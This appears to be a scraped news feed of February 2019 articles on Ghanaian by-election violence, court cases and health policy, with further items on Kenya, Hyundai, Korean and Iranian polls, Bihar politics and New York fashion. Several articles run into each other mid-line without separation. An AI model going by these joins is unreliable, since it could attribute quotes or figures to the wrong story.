He told host Kwami Sefa Kayi on Peace FM's "Kokrokoo" on Wednesday, February 13, 2019, that Ghana is a unique country where God dwells, thus the devil should not be given the opportunity to have any foothold.



Condemning the recent Ayawaso West Wuogon by-election violence and the rampage by some Salaga youth who set the NPP offices ablaze on Tuesday, February 12, 2019 in protest against the announcement of Damongo as their Regional Capital, Allotey Jacobs advised political leaders to name and shame hoodlums in order to maintain peace in the country.



Speak the truth and shame the devil. You dont allow the devil to rule this country. This country is a unique country where Gods throne dwells. That is why we have that kind of peace. So, we shouldnt allow these hoodlums from both political parties to ruin our peace," he stated.









Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









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Featured VideoKENYA: Residents of a village in Kenya decided to give Kenyan politicians a taste of their own medicine so they served them dirty water.



Marsabit county residents, during a scheduled meeting with their leaders on Tuesday, February 12, served muddy drinking water as refreshment to the politicians who failed to provide potable water for them.



The dignitaries were comfortably seated on plastic chairs for the meeting with residents of Karare ward when Karare Ward women stepped out and served the political and administrative leaders who were in attendance bottled muddy water.



The politicians tried to pretend they didnt see the water and continued chatting with one another. But their bottled muddy water was carefully placed on the ground beside them.



The residents of Karare area were angered that their leaders had failed to come up with a solution to their perennial water problem. The water the villagers use for cooking, drinking and cleaning is contaminated and completely unfit for human consumption and they wanted to give their leaders a rare chance to see the kind of life they live.



















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Featured VideoThe Minority caucus in Parliament says they will not cooperate with the Commission of Inquiry probing the Ayawaso West Wuogon by-election violence.



A statement signed by the Minority Leader Haruna Iddrisu indicated that, they would not relent in undertaking a full democratic process to seek justice for victims who were injured during the chaos.



The Minority in Parliament wishes to serve notice that we would not relent in pursuing the series of democratic actions we had earlier announced until such a time that we are convinced that there is a genuine effort to hold the cowardly masked perpetrators accountable for their crimes...Sadly, since that meeting with the Ghana Police Service, not only has there been no further communication with us, more worryingly, there has not been a single arrest of the perpetrators despite the existence of abundant information including numerous pictures and videos which are exceedingly useful to investigators in every jurisdiction, the statement noted.



If you may recall, the opposition National Democratic Congress (NDC) took a similar stand because they claim the Commission led by Justice Emile Short is biased and that they will not respond to any invite.



Read full statement below



STATEMENT BY THE MINORITY IN PARLIAMENT ON JUSTICE FOR THE VICTIMS OF THE STATE-SPONSORED TERROR DURING THE AYAWASO WEST WUOGON BY-ELECTION



Today marks exactly one week since the Minority boycotted Parliamentary proceedings and marched to the Ghana Police Headquarters to demand justice following the State-sponsored terror that characterised the January 31, 2019 by-election in the Ayawaso West Wuogon Constituency.



As is now well known; innocent, unarmed citizens including our colleague Member of Parliament for Ningo-Prampram  Sam Nartey George were brutally attacked and others shot at leaving many of them hospitalised with their lives altered permanently.



In the aftermath of the bloody attacks, which must also be seen as an assault on our democratic credentials, the Minister of State at the Presidency responsible for National Security, Bryan Acheampong conceded that his outfit was responsible for recruiting those bloodthirsty party bandits and providing them with the logistics, weapons and masks which they used to terrorize the very tax payer President Akufo-Addo swore to protect.



In our interaction with the police high command last week, we made it clear that the good people of this country whom we represent in Parliament expect nothing short of swift and comprehensive justice in this matter.



Sadly, since that meeting with the Ghana Police Service, not only has there been no further communication with us, more worryingly, there has not been a single arrest of the perpetrators despite the existence of abundant information including numerous pictures and videos which are exceedingly useful to investigators in every jurisdiction.



Besides, their leader and mastermind, Mr. Bryan Acheampong has stated publicly that he knows the hoodlums and therefore it is safe to assume that he can easily produce them to face the law, even as we expect Bryan Acheampong himself to have been dismissed by now and equally made to answer for his crimes.



We wish to make clear that regardless of the Commission of Inquiry so established by the President, it is our reasonable expectation that criminal investigations and prosecutions will be carried out without prejudice to the work of the Commission.



The Minority would not be part of any scheme to cover up or create immunity for the perpetrators.



The position we take on this matter is further strengthened by the Ghana @ 50 case where it was held inter alia that:



It is however a matter of judicial notice that persons against whom adverse findings were made by the Commission of Inquiry into the Yendi events and the Commission of Inquiry into the Accra Sport Stadium Disaster were prosecuted in the High Court, notwithstanding the clear provisions of article 280 of the constitution, which clearly represent the aspirations of the great men and women who engineered our 1969, 1979 and the 1992 constitutions; the aspiration being that findings of commissions of inquiry should never develop into criminal trials Flowing from the aspirations of the framers of our constitution that the findings of a commission of inquiry are not to develop into a criminal trial, I find that the Ghana @ 50 Commission of Inquiry itself respectfully erred when it recommended that Government may prosecute the applicants herein.



It was additionaly stressed that: From the historical development of Commissions of Inquiry under our constitutional framework, it should now be clear that reports of such commissions containing adverse findings are judgments of the High Court as defined by the constitution, and the persons affected by the said judgment have the right of appeal to the Court of Appeal. If this was the thinking of the framers of our constitution, as demonstrated by the Constitutional Proposals cited in this ruling, can it then be right for the Attorney- General to prosecute the affected persons against whom the Republic has already secured a judgment; from which judgment they have the automatic right of appeal? No, I think the provisions in Chapter Twenty Three of the 1992 Constitution are clear enough on the intentions and aspirations of the framers as expressed in paragraph 301 of the 1978 Constitutional Proposals.  In the Republic v Kojo Mpianim& anor aka [email protected] case, Marful-Sau JA (as he then was).



The Minority in Parliament wishes to serve notice that we would not relent in pursuing the series of democratic actions we had earlier announced until such a time that we are convinced that there is a genuine effort to hold the cowardly masked perpetrators accountable for their crimes.



We have all toiled to nurture the democracy which has become a proud reference of the international community and we are determined to ensure that rogue elements who seek to erode gains and turn Ghana into a banana republic are not allowed to succeed.



Signed,



Haruna Iddrisu (MP)



Minority Leader

Source: Peacefmonline.com









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Featured VideoHyundai's car production in China fell further last year than in 2017, when sales tumbled due to an unofficial boycott of Korean goods.

The Korea Automobile Manufacturers Association said Tuesday that Hyundai's car production in China fell from 827,941 cars in 2017 to 806,214 last year.

Considering the facility's capacity of producing 1.81 million vehicles a year, that is a poor operation rate of just 44.5 percent.

In reality the automaker sold slightly more cars in China last year than the year before, but the slow inventory turnover dragged down net production figures.

An industry insider said, "At the end of the day, the [boycott] was not the reason for Hyundai's sluggish performance in the Chinese market. The quality of Hyundai cars lags behind its European and Japanese automakers' and it is losing price-competitiveness against its Chinese rivals."

Presidential aspirant of the National Democratic Congress (NDC), Ekwow Spio-Garbrah, has sued the Attorney General, the Inspector General of Police, National Security over the Ayawaso West Wuogon by-election shooting incident.



The shooting incident occurred on January 31, 2019, at Bawaleshie and reportedly left six persons injured.



Mr. Spio-Garbrah is seeking several reliefs, including a declaration that the National Security Ministry is held responsible for the violence during the by-election.



He also wants an order for compensation for the victims.



Furthermore, Mr. Spio-Garbrah is seeking a declaration that the Ghana Police Service did not resist the invasion of these unknown masked armed men, who stormed public polling station areas to create violence.



The Akufo-Addo administration has subsequently set up a three-member Commission of Inquiry, headed by former Commissioner of CHRAJ, Justice Emile Short, to probe the shootings.



However, members of the NDC have expressed doubt about the Commission doing a genuine probe as the perpetrators of the violence are alleged to be members of the ruling NPPs Invincible Forces.



The Ayawaso West Wuogon by-election was won by NPPs candidate, Lydia Seyram Alhassan, whose husbands death on November 21, 2018, created the parliamentary vacancy in the constituency.







Source: Daily Guide









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Featured VideoMrs. Veronica Alele, the Bole District Chief Executive, at weekend performed groundbreaking ceremony for work to begin on construction of an ultra-modern hospital facility costing millions of Ghana cedis in the newly created Savannah Region.



The State of the Art pro-poor Leyaata (rescue us) Model Hospital, to be situated at Carpenter, a community along the Bamboi-Wa highway is expected to be completed within 24 months.



It is being funded by the Northern Empowerment Association (NEA), and Ghana Rural Integrated Development (GRID), non-governmental organisations and a helipad would be constructed as part of the project.



Solar panels would also be installed on the roofs to provide 24 hours of power to the facility.



Mrs. Alele stressed the governments commitment to creating opportunities for the private sector to thrive and facilitate accelerated national development.



She said the facility would create employment for both skilled and unskilled labour, and commended the NEA and its partners for their continuous support towards the development of the district and the Northern region by extension.



Mrs. Alele said the Assembly would provide the needed human resource and financial support towards its successful completion to make it the biggest health facility that would provide healthcare services to people within the newly created Savannah Region.



Sulemana Yussif, the Member of Parliament (MP) for Bole-Bamboi, expressed appreciation to the NEA for the facility saying one should not be a politician before he or she could help his community.



Nana Dr. David Mensah, the Director of NEA, said the facility would meet the highest quality and international standards that would provide excellent healthcare delivery particularly to the rural poor in the region.



We assure you that on completion, poor sick people would not be denied quality healthcare services on the grounds of their inability to pay, Nana Dr. Mensah, who is the Gyassehene of the Mo Traditional Area stated.



He said the project was being funded by donations from philanthropic individuals and organisations and appealed to all stakeholders in the area to support as well.

Source: GNA









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Featured VideoTHE PLANNED visit of President Akufo-Addo to the Burma Camp today, has been postponed indefinitely.



It is unclear why the visit has been postponed but DAILY GUIDE NETWORK (DGN) presumes it could be due to the Presidents busy schedule at the Jubilee House today where he would be presenting the Constitutional Instruments for the creation of the Bono East and Ahafo Regions respectively.



It would be recalled that a release issued by Commander A La-Anyane on behalf of the Director of Public Affairs of the Ghana Armed Forces had indicated that the President will commission a number of newly acquired buses and other vehicles for the Ghana Armed Forces as part of the visit.



According to the release, President Akufo-Addo was expected also to use the visit to commission some competed projects within the General Headquarters.



The President, the release indicated, was to climax his visit with an all ranks durbar at the Burma Hall where he will interact with troops of the Ghana Armed Forces.



But a statement issued yesterday by the Armed Forces on the postponement of the visit read: Good afternoon, ladies and gentlemen. The C-in-Cs visit to Burma Camp will not come off tomorrow. New date will be communicated. Any inconvenience caused is deeply regretted.



Burma Camp serves as the headquarters of the Ghana Armed Forces.









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Featured VideoThe Ghana Revenue Authority (GRA) Taskforce, on Tuesday, confiscated about 41 packs of Special Red Grape drinks, which do not Excise Tax Stamps affixed them.



The products were seized from the Kate Laryea Store at Makola, in the Central Business District of Accra during a Monitoring and Enforcement excise to check the level of tax compliance with the Excise Tax Stamp policy.



The policy is to ensure that the products are not counterfeited to protect the health of consumers and help generate more revenue for the nation.



Mr. Kwabena Anto Apau, the Head of the GRA Taskforce Unit, at a media briefing after the exercise, said it was impressive that many companies were complying.



Danbri Company Limited, distributors of pharmaceutical products, for instance, has its tax certificate intact, while some of the depots we visited in the shops all have their tax stamps affixed on the products, he said

Mr. Apau said the exercise would continue to Friday, February 22, with a focus on all carbonated drinks, energy drinks and alcoholic drinks in the Central Business District.



In the past, we have visited the malls and other businesses outside the central business area, but this time we are in Makola, and we will be visiting places in Kaneshie, Okaishie, and other areas to continue with the exercise.



He said the Taskforce had, however, noticed that both some foreign and imported products were not affixed with tax stamps, stressing that, there was the need to streamline the system.

On the seized products, Mr. Apau said after 31 days if the owners failed to report to the Authority to explain why they did not have the stamps, they would forfeit them.



Additionally, their outfit would trace the manufacturers of the seized products to ascertain why the products were not affixed with tax stamps, since some of the products were manufactured in January 2019.



Mr. Apau, also the Chief Revenue Officer, cautioned retailers not to display their wares or products for sale without tax stamps on them.



Anybody who flouts the directives would face the law, he warned.



He said the Taskforce had picked intelligence that some of the products were brought in from neighbouring countries like Togo and Nigeria and were working assiduously to ensure that the entry points were effectively manned.



He urged the public to always look out for products with the excise tax stamp and desist from patronising those without them.



The Tax Stamp Policy, which emanates from the Excise Stamp Act, 2013 (Act 873), was launched in September 2018. The Tax Stamps are small stickers with security features supplied by the government to some manufacturers and importers to be affixed to their products before they are released onto the market.

Source: GNA









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Featured VideoGregory Afoko, the prime suspect in the murder of the Upper East Regional Chairman of the New Patriotic Party (NPP), Adams Mahama, has filed a motion at the Supreme Court to challenge the Attorney Generals decision to discontinue his trial at the High Court.



In effect, his lawyers are attempting to put on hold the preliminary hearings at an Accra Central Magistrate Court until the final determination of the motion by the Apex Court.



Wait For Cue:



Gregory Afoko was put before an Accra High Court in 2016, charged with the murder of the late Adams Mahama.



The case was nearing its conclusion after the state had called 14 prosecution witnesses including the wife of the deceased to prove its case.



The accused also opened his defence in December last year and denied the charge of murder preferred against him by the state.



The court presided over byJustice Lawrence L. Mensah had ordered the parties to file their statements, with a date fixed for both sides to take turns to address the court before the jury decides whether the accused was guilty or not.



But the Attorney General on January 28, 2019 entered Nolle Prosequi to discontinue the matter.



This followed the arrest of Asabke Alangdi, another suspect in the murder of Adams Mahama who had been hiding in Burkina Faso after fleeing the country.



Appearing before the Magistrate Court yesterday, Benedicta Antwi who held the brief of Osafo Buabeng, counsel for Afoko, told the court that they had filed an application at the Apex Court to challenge the Nolle Prosequi.



But the presiding Magistrate, Afua Sackey said she does not have a copy of the application and gave the lawyer three days to serve the other parties as well and make sure the court gets a copy of the application.



Hearing continues on Monday February 18, 2019.



Gregory Afoko and Asabke Alangdi are before the Magistrate Court charged with two counts of conspiracy to commit crime and murder of Adams Mahama who died of severe acid burns.



The two suspects who have been accused of pouring acid on the late NPP member were remanded into Bureau of National Investigation (BNI) custody awaiting trial.

Source: Daily Guide









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Featured VideoGhana has been selected to host the 5th biennial international conference of African health economists and financing and policy experts. The conference will deliberate on strategies towards attainment of Universal Health Coverage (UHC) on the continent, and seek to suggest Primary Healthcare (PHC) as the most important first step towards reaching this goal within various African countries.



The idea that governments should focus on primary healthcare was first proposed in 1978 at Alma Ata in the then Soviet Union, but has gained renewed emphasis in the era of universal health coverage as a concrete initial step to attaining the longer term goal. This was reaffirmed in the Astana (formerly Alma Ata) Declaration last year, to which many African countries, including our host country, Ghana, were signatories. The new momentum to promote PHC as the foundation for attaining UHC is partly a recognition of the realities of low income and lower middle income countries (LICs/LMICs) who have more limited resources and must invest these very wisely in the very high impact and cost-effective PHC interventions that affect the greatest number of people as well as 90 percent of health conditions that affect people throughout their lives.



The Conference being organized by the Africa Health Economics and Policy Association (AfHEA) is under the auspices of the Ghana Health Service (GHS), the School of Public Health (SPH) of the University of Ghana, Legon and the Centre for Health Systems and Policy Research (CHESPOR) and is expected to host health ministers, top health policy makers, researchers, practitioners and students among others, in an attempt to push the PHC and Universal Health Coverage agenda on the continent.



This years conference slated for March 11-14 at the Kempinski Gold Coast Hotel in Accra, is on the theme, Securing Primary Healthcare for all: the foundation for making progress on UHC in Africa, and projected to be attended by well over 250 local and foreign participants.



AfHEA is an international health economics and policy organization dedicated to the promotion and strengthening of the use of health economics and health policy analysis in achieving equitable and efficient health systems and improved health outcomes in Africa, especially for the most vulnerable populations. It has supported health policy development in many countries on the continent.



Spending on healthcare on the continent has been low and is reflected in the health outcomes of many people living in Africa, especially south of the Sahara. Various attempts have been made to increase governments expenditure on health. These attempts have not been very successful.

The 2001 Abuja Declaration committed African Union countries to allocate at least 15% of their budget to improve the health sector. Tracking of budgets and expenditures by WHO has shown that no more than a few (usually less than 5) countries in any year manage to attain that target. Other, more pertinent, international health financing targets, such as the Macroeconomic Commission on Health and High Level Forum on Health Financing, which both advocate a more relevant per capita spending level on health by countries, have also been observed more in the breach. The inability to achieve these targets are a key reason why the health indicators of many countries are so poor and why their MDG targets were missed.



Like many other African countries, access to healthcare in Ghana is below average. The main vehicle being used to provide financial access to healthcare in Ghana is the National Health Insurance Scheme (NHIS) which has less than 40% coverage of the population.



It is believed that if governments would focus and channel a big part of their healthcare budget to providing access  financial and physical  to primary healthcare for all citizens, it would quicken the march to UHC and greatly improve the countrys health indicators.



Sustainable Development Goal (SDG) 3 advocates for good health and well-being. It also calls for the attainment of Universal Health Coverage, including financial risk protection and access to quality essential health-care services for all by 2030.



With Ghana holding the co-chairmanship of the UNs Eminent Group of SDG Advocates, and health being a core part of the goals, it would be expected that the country takes the lead in ensuring that she reaches the goals even faster. Some experts have opined that a focus on primary healthcare provides a good opportunity to attaining goal 3 of the SDGs.

Source: Peacefmonline.com









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Featured VideoCoca-Cola company has been criticized for naming a can of drink after the female sex organ. The company has a popular ad campaign that encourages sharing by writing the name of a person on a coke bottle with the words, "share a coke with... (person's name)".



One can of coke seen in South Africa had the words, "Share a Coke with Xitombo"



Xitombo means vagina in South Africa.



When a photo of the coke can with the word "Xitombo" was shared online, it quickly went viral. Social media users called out the company and there were massive calls for the company to correct its mistake.



Replying to the outrage, Coca-Cola explained that the campaign had three elements which included digital activation and engaging with consumers to personalize their own Coke cans.



The statement from Coca-Cola reads:



The main element of the campaign was to place approximately 700 of South Africas most popular names on Coca-Cola cans and bottles, which were sold in stores.



These names were identified in partnership with the Department of Home Affairs and Stats SA.



The names spread across the 11 official languages and were sent to two professional linguists for phonetic treatment, reviewed by various internal approval teams and finally printed, distributed and sold in the market.



The Xitsonga word that led to this incident was not one of these names identified by the Department of Home Affairs, nor was the can marketed or sold by Coca-Cola.

Source: LIB









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Featured VideoThe Public Interest Accountability Committee (PIAC) Secretariat has requested from the Ministry of Finance and Economic Planning (MoFEP) to provide it with information on all physical infrastructural projects it intends to fund with petroleum revenue in the country this year.



This according to the PIAC, an independent statutory body mandated to promote transparency and accountability in the management of the nations petroleum revenue would enable it to track and monitor such projects to avoid misappropriation of petroleum revenue.



Dr Steve Manteaw, a policy analyst and Chair of PIAC, disclosing this said the committee had upped measures to ensure that the Metropolitan, Municipal and District Assemblies in the country would utilise petroleum revenues for their intended purposes.



He said PIAC had finalised the processes and would soon sign a Memorandum of Understanding (MoU) with the Economic and Organised Crime Office to be able to facilitate prosecution of Assemblies that would misappropriate petroleum revenue.



Dr Manteaw, who is also the Co-Chair of the Ghana Extractive Industry Transparency Initiative (GHEITI), a local chapter of the Extractive Industry Transparency Initiative (EITI) was speaking at a regional stakeholders engagement and dissemination workshop on the 2016 GHEITI reports on oil and gas, and mining sector held at Abesim, near Sunyani.



EITI is an international body that sets global standard for transparency in oil, gas and mining,

The MoFEP with support from the Ghana Oil and Gas Inclusive Growth (GOGIG) organised the workshop and attended by Municipal and District Chief Executives, financial officers and Coordinating Directors drawn from the Municipal and District Assemblies in the region.



Dr Manteaw regretted that though budgets were approved for studies conducted by the PIAC showed there was several non-existent oil funded projects in country.



He explained that under the MoU, the Committee would refer all cases of non-existent oil funded projects to the EOCO to investigate for prosecution.



Mrs Hannah Owusu-Koranteng, the Associate Director of WACAM, a civil society organisation, noted that corruption, particularly in the extractive sector retarded national progress, saying posterity would not spare Ghanaians if increased efforts were not made to control the menace.

Source: GNA









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Featured VideoThe proportion of South Korean schoolkids who consider North Korea the enemy has plummeted over the past year, while that of youngsters who favor cooperating with or helping the North has surged, a survey said Tuesday.

Jointly conducted by the Education and Unification ministries between October and December last year, the nationwide poll surveyed more than 80,000 primary and secondary schoolkids and 4,000 teachers.

A mere 5.2 percent of schoolchildren said they view North Korea as the enemy, a remarkable drop from 41 percent in 2017. The rate fluctuates wildly depending on the prevailing wind, having been 26.3 percent in 2014, 31.8 percent in 2015 and 33.1 percent in 2016.

Instead, the proportion of schoolchildren who favored cooperating with the North rose 10 percentage points to 50.9 percent. Some 20.2 percent said it needs to be watched with caution and 12.1 percent wished to help the North.

But last year's poll gave "enemy" as its lone negative choice, but this year's study added the category "watch with caution."

Asked what occurs to them when they think about North Korea, 26.7 percent ticked "dictatorship," a huge drop from 49.3 percent in 2017. Those answering "Korean people/unification" reached 24.9 percent, a big rise from just 8.6 percent.

Last year's three inter-Korean summits seem to have promoted a more positive impression of North Korean leader Kim Jong-un.Poll: Majority Of Iranians Still Support JCPOA

02/13/19

By Derek Davison (source: LobeLog)



People in Tehran celebrate signing of nuclear deal

(July 2015 photo by Islamic Republic News Agency)

In spite of the Trump administration's decision to violate the Iran nuclear deal (Joint Comprehensive Plan of Action or JCPOA) and reimpose sanctions in an effort to exert "maximum pressure" on the Iranian government, new polling finds that a majority of Iranians still stand by the agreement. The most recent survey in IranPoll's "State of Iran" polling series, conducted in December, also finds that Iranians are feeling slightly better about their economy, even with those re-imposed U.S. sanctions putting on the squeeze.

Of course, Iran's economy continues to struggle, and a large majority of Iranians still say that Iran's "general economic situation" is bad. But that number stood at 71 percent in December, down from 74 percent in the previous State of Iran survey in April, while the number of Iranians who say the economy is good rose from 24 percent in April to 29 percent in December. Around 60 percent of Iranians believe that the economy is getting worse, compared with 64 percent in April, while 33 percent say it's getting better, up six points from April.

The reason for the improvement in these results (however slight) is unclear. The reintroduction of U.S. sanctions has pushed Iran's economy into a recession, which is expected to worsen in 2019. There are also signs that the sanctions are hindering Iran's ability to import basic goods like food and medicine. It may be, however, that the sanctions (which included a surprising number of short-term waivers) made for less of an immediate economic shock than many Iranians were expecting, and so they're feeling more confident about their ability to ride out the storm. Talk of Europe's recently unveiled "special projects vehicle," which will facilitate trade with Iran in those basic goods, may also be slightly improving Iranians' economic outlook. If the SPV fails, or Iran's economy weakens significantly in the coming months, these numbers could easily return to April's levels or worse.

The poll highlights one other important shift in how Iranians are perceiving their economy. In January 2018, 32.1 percent of Iranians highlighted "foreign sanctions and pressures" as the main thing hurting the Iranian economy, against 63.3 percent who identified "domestic economic mismanagement and corruption" as the main problem. In December, those figures had shifted to 36.2 percent and 59.1 percent, respectively. If the goal of the Trump administration's Iran policy is regime change, or even to "change" the Iranian government's "behavior," as Secretary of State Mike Pompeo has argued, then re-imposing sanctions has hurt, not helped, the effort. Fewer Iranians are blaming their own government for their economic struggles, and more are starting to blame the U.S.

With all of Iran's economic challenges, it's somewhat surprising that a majority of Iranians still support the JCPOA, which was supposed to improve Iran's economy by opening it up to the rest of the world. Even though they've never seen the deal's promised economic benefits (and now, thanks to the Trump administration, likely never will), 51.1 percent of Iranians still either strongly or somewhat back the nuclear accord. That's the lowest figure IranPoll has yet measured on this question, going back to 2015, and down from 52 percent in April, so there are signs that Iranians are gradually losing patience with the deal.

Indeed, Iranian perceptions of the JCPOA's impact are continuing to worsen. In December, 81.2 percent said that living conditions have not improved as a result of the deal, up from 79 percent in April. Unsurprisingly, 95.4 percent say that the deal has either had no effect on Iranian relations with the United States or has caused them to worsen, up from 90.2 percent in January 2018. The effect of the Trump administration's withdrawal here is obvious.

Views of Iran's European ties showed an even steeper drop, with 41.4 percent saying that the JCPOA has had no effect or has worsened Iran's relationship with Europe compared with 35.9 percent in January 2018. Only 35.7 percent believe Iran's relations with Europe have improved a lot or somewhat, compared with 44.8 in January 2018. Iranians are also less optimistic about Europe living up to its JCPOA obligations-43.9 percent are very or somewhat confident that it will, compared with 54 percent in April, and 47.7 are not very or not at all confident, compared with 42 percent in April, and 81.2 percent of Iranians say that the Europeans are "moving slower than they could" in establishing commercial relationships with Iran. Iranians tend not to blame Europe for this, though-85.2 percent of those who say Europe is moving too slow cite pressure from the United States as the cause.

If the Trump administration and Europe are planning on reopening talks with Iran over its civilian nuclear program and/or its missile program, they'll have to find a way to convince an Iranian public that seems dead set against making concessions in either area. A huge majority of Iranians (89.8 percent) say that developing the country's nuclear program is either very or somewhat important. That figure is even higher (95.8 percent) for Iran's missile program. The number of Iranians who believe the missile program is "very important" stood at 76.3 percent in December, up from 73.8 percent in January 2018 and presumably reflective of an Iranian populace that increasingly feels threatened by external foes. Again, if the intention from Washington is to motivate the Iranian people to force their government to change its behavior, these numbers suggest that the opposite is happening.

Hopes of future diplomatic engagement with Iran, perhaps once the Trump administration is no longer in power, are withering along with the JCPOA. When asked about the lesson of the nuclear accord, 72.4 percent of Iranians agree that "the JCPOA experience shows that it is not worthwhile for Iran to make concessions when negotiating with world powers, because Iran cannot have confidence that if it makes a concession world powers will honor their side of an agreement." That's up from 67.4 percent in January 2018 and reflects a troubling outcome of the administration's Iran policy-a large and growing sentiment among Iranians that diplomacy just isn't worth the trouble.





About the Author:



Derek Davison is a Washington-based researcher and writer on international affairs and American politics. He has Master's degrees in Middle East Studies from the University of Chicago, where he specialized in Iranian history and policy, and in Public Policy and Management from Carnegie Mellon University, where he studied American foreign policy and Russian/Cold War history. He previously worked in the Persian Gulf for The RAND Corporation.

Patna: Chief Minister Nitish Kumar was given a warm send-off by party leaders and senior officials at the Patna Airport on Sunday when he left for Delhi on his way to Japan where he would arrive on Monday morning.

Kumar is expected to hold high-level meetings with investors in Tokyo on February 20 and in Osaka on February 21.

He is also scheduled to visit Kyoto for sightseeing.

Accompanying the Chief Minister to Japan are Road Construction Minister and senior Bharatiya Janata Party (BJP) leader Nand Kishore Yadav, Chief Secretary Anjani Kumar Singh, Road Construction Principal Secretary Amrit Lal Meena, Building Construction Principal Secretary Chanchal Kumar, Industry Principal Secretary S Siddharth, CM's Secretary Atish Chandra, IG Bachchu Singh Meena, Officer on Special Duty (OSD) Gopal Singh, Bihar Industries Association (BIA) chairperson KPS Kesari, and Bihar Chamber of Commerce former President O P Sah.

The delegate from Bihar is expected to discuss issues related to infrastructural development including road construction, metro railways, tourism, energy, industrial development and hospitality industry, officials said.

It may be recalled that Kumar took a similar trip to China back in 2011 but it is not clear what results it yielded in terms of development in Bihar.Patna: Tej Pratap Yadav, the elder son of Lalu Prasad Yadav and Rabri Devi, has decided to vacate the government-provided sprawling bungalow to him saying the house is infested with ghosts let loose by none other than Chief Minister Nitish Kumar and Deputy Chief Minister.

The former Health Minister known for his strong belief in superstition, black magic, and divine intervention in resolving political problems said that he had left the government bungalow after he experienced spooky, ghostly activities in the building.

Talking to a local news channel, Yadav, who was made the Health Minister of Bihar in the Nitish-led Mahagathbandhan government in Bihar despite having failed his intermediate exam and having no prior experience in politics or governance, told the reporters that he did not need 'charity' from the government and was already an owner of a large bungalow.

"After realizing there are ghosts in the building let loose by Nitish Kumar and Sushil Kumar Modi to traumatize me, I have decided to vacate it as I already own a bungalow. I don't need the charity of the government," the RJD leader said of the government accommodation provided to him on 3 Deshratna Marg in Patna.

Yadav, reacting to the party's debacle in the Patna University Students' Union (PUSU) election in which none of the RJD candidates won even a single seat, vowed to take strong action against his own men who, he said, sabotaged the chances of winning for them.

"Our own men worked against our candidates and those who have betrayed us will be taken to task," Yadav said.Patna: A day after Bharatiya Janata Party (BJP) asked the Janata Dal  U to field its own candidate from the Jehanabad seat for the upcoming special election in the district, the JD-U announced the name of Abhiram Sharma who will go toe-to-toe against Rashtriya Janata Dal (RJD) candidate Suday Yadav, the son of late RJD leader Mundrika Singh Yadav.

It may be recalled that the JD-U had earlier stated that it had no intention of fielding its own candidate from any of the three seats in Bihar where by-polls are to be held but when the BJP failed to come up with a name that was capable of winning from the Jehanabad seat, it asked the JD-U to come up with a candidate of its own.

Talking to reporters in Patna on Sunday, JD-U state President Vashisht Narayan Singh said that Abhiram Sharma's name was finalized after consulting with Nitish Kumar and other senior leaders of the party.

Meanwhile, the BJP is poised to announce the name of its own two candidates for the Bhabhua and Araria seat.

Sources said the party is close to announcing the names of Rinki Rani Pandey for the Bhabhua Assembly seat and Pradeep Singh for the Lok Sabha seat in Araria.

RJD had earlier declared Sarfaraz Alam, son of late RJD leader Mohammed Taslimuddin, candidate from Araria while leaving the Bhabhua seat for Congress, its ally.

Former Bihar Chief Minister and Hindustani Awam Morcha (HAM) leader Jitan Ram Manjhi, after initial tantrum, gave up his claim on the Jehanabad seat letting the NDA to decide on its candidate.Patna: Student activists representing nearly a dozen political outfits on early Sunday morning clashed with each other at the Patna University campus following a rumor of booth-capturing during the Students' Union election that spelt doom for the Rashtriya Janata Dal (RJD) and leftist candidates while proving to be a bonanza for the Akhil Bharatiya Vidyarthi Parishad (ABVP) candidates running for various union posts.

The incident occurred around 1:30 am, hours after poll results were announced, when someone spread rumor of booth being captured in Vanijya Mahavidyalaya and bogus votes being cast by a group representing a certain candidate.

In a matter of minutes, the college campus turned into a battlefield as activists representing various political parties began throwing stones and bricks at other groups while also beating up two boys with canes, chappals, and belts.

Students accused the Principal of Vanijya Mahavidyalaya of rigging the election in favor of a certain candidate. Chanting anti-principal slogans, they demanded a re-poll and dismissal of the Vanijya Mahavidyalaya Principal.

Seeing the situation getting worse by the minute, university officials summoned police that arrived within 15 minutes and brought the situation under control after a few rounds of firing in the air and a minor lathi-charge.

Bhavesh Mishra, SDO, denied booth having been captured and ordered an enquiry to identify and arrest the miscreants.Yesterday, accessories designer Susan Alexandra hosted a presentation at Baz Bagels in SoHo  but it was more like a day party. Alexandra, who makes beaded bags in a trademark square style that you've likely seen all over Instagram, set up her own mini-diner within Baz, enlisting friends like comedian Cat Cohen and drag performer Steak Diane to serve up bagels and lox. They sang a version of Howard Ashman's "Skid Row (Downtown)" from Little Shop of Horrors, lyrics customized to honor Alexandra ("You have seen her in Vogue/ And now you're here at her show/ With all the gays and their hags/ Downtown"). The proceedings just felt so very New York, infused with queer and Jewish culture.

Photographer Hunter Abrams performed as one of Alexandra's waitresses. "Something magical happens when you get into drag," he told me. "Suddenly I was a very sassy Jewish waitress who had no time for anyone's bullshit."

Abrams, who normally spends fashion month zooming around the globe shooting for publications like Vogue and CR Fashion Book, was pleased to have a "moment of fun" during a normally extremely intense NYFW. "It was definitely a form of self-care to step back and put on a new hat and play a different part than I normally get to do," he said. "The fact that I got to do it for Susan, who I've been friends with for the past few years, was icing on the cake."

Alexandra's offerings  sparkling jewelry and purses  are so very cute. And the proceedings were infused with a kind of joy you don't get too often at fashion week. Activist Adam Eli Werner published an essay on Instagram about how the difficulties of being a queer person of faith, and how Alexandra's presentation managed to be inclusive in a way he doesn't always find in traditional Jewish or queer spaces.

"I took a step back and looked around. Susan's bags and her guests were shiny, pastel and glittering," he wrote. "A group of drag queens were singing on the counter of a Jewish-owned bagel shop a song by my queer Jewish hero [Ashman]. I turned and found myself face to face with a hung portrait of Barbra Streisand. After a 28 years of being queer and Jewish I had found a place where I didn't have to compromise."For Oscar de la Renta's fall 2019 collection, designers Laura Kim and Fernando Garcia recreated the lush atmosphere of the Mosque-Cathedral of Cordoba, Spain. In some ways, the label moved away from the precious ball gowns by which fans know them best  but there was still an emphasis on textiles, history and rich fabrics. Here's everything else you need to know about the show.

Shades of '70s

An underlying 1970s aesthetic was present in the collection. Fringe, cocoon-like coats, mosaic fabric dresses and a slew of garments modeled off the effect of tapestries dominated here.

New Neutrals

Focusing on rich shades of burgundy, burnt oranges and yellows and even navy, Oscar de la Renta reinvented this season's color palette by creating covetable new rusty shades as neutrals. The reigning color palette was that of a Eastern spice market.

Dubai State of Mind

An October trip to Dubai is what mainly inspired Kim and Fernando. Looking at the colors as well as the clearly vintage inspired fabrics with layered histories, the reference points have never been stronger.

Tailor Nation

An unexpected mix of tailoring was thrown into the collection. Blazers, coats, trousers and even dresses constructed out of workwear fabrics felt both sophisticated and brand new.

Bella Donna Login  Instagram

